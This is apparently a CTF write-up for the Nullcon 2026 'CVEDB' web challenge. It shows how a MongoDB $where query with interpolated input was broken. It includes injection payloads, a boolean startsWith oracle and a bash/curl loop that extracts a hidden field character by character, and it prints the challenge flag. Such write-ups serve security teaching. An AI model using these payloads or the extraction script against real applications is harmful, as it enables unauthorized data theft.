CVEDB
Challenge Data
| Field | Value |
|---|---|
| CTF | Nullcon CTF 2026 |
| Challenge | CVEDB |
| Category | Web |
| Context | "Let's implement our own CVE database with modern web-scale technologies, so without actual SQL." |
| URL | http://52.59.124.14:5000/ |
| Flag | ENO{This_1s_A_Tru3_S1mpl3_Ch4llenge_T0_Solv3_Congr4tz} |
Challenge Description
The application was a CVE database with a very simple search feature. The hint about without actual SQL pointed toward NoSQL, so the MongoDB query construction had to be reviewed.
Reconnaissance
whatweb showed an Express backend, and the form behavior suggested that the query parameter ended up inside a regex search.
A few quick tests already gave useful hints.
CVEreturned all records.flagreturned only one.(or)broke the query with a database error.
On top of that, one result stood out. CVE-1337-1337 had a very suspicious description. The HTML also contained commented fields that were not shown in the interface.
<!-- <div class="cve-product">TODO cve.product</div> -->
<!-- <div class="cve-vendor">TODO cve.vendor</div> -->
That already suggested each document had more data than what the UI displayed.
Analysis
The vulnerable part was a $where query with user input interpolated directly into JavaScript. Conceptually it looked like this.
const filter = {
$where: `/${query}/i.test(this.description) || /${query}/i.test(this.id)`,
};
If the input closed the regex and injected its own code, Mongo would end up evaluating arbitrary JavaScript against each document. For example, this string
test/i)||true||(/test
made the condition return true for everything, which is why all documents appeared.
Once that was confirmed, the next step was to test which fields existed in this. product and vendor were both present even though the interface did not show them, and product was exactly where the flag began.
Solution
The first confirmation was that the flag was in product, using a boolean condition.
1337/i)&&(this.product.startsWith("ENO"))&&(/1337
Then its length was measured and extracted character by character with startsWith(). The requests kept extending the valid prefix one step at a time.
1337/i)&&(this.product.startsWith("ENO{T"))&&(/1337
A small bash script was enough to automate it.
FLAG="ENO{"
CHARSET='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_{}'
for pos in $(seq 4 53); do
for char in $(echo "$CHARSET" | fold -w1); do
prefix="${FLAG}${char}"
payload="1337/i)&&(this.product.startsWith(\"${prefix}\"))&&(/1337"
result=$(curl -s -X POST http://52.59.124.14:5000/search \
--data-urlencode "query=${payload}" | grep -c "Found 1")
if [ "$result" -eq 1 ]; then
FLAG="${prefix}"
break
fi
done
done
echo "$FLAG"
After enough requests, the application revealed the full string.
Flag
ENO{This_1s_A_Tru3_S1mpl3_Ch4llenge_T0_Solv3_Congr4tz}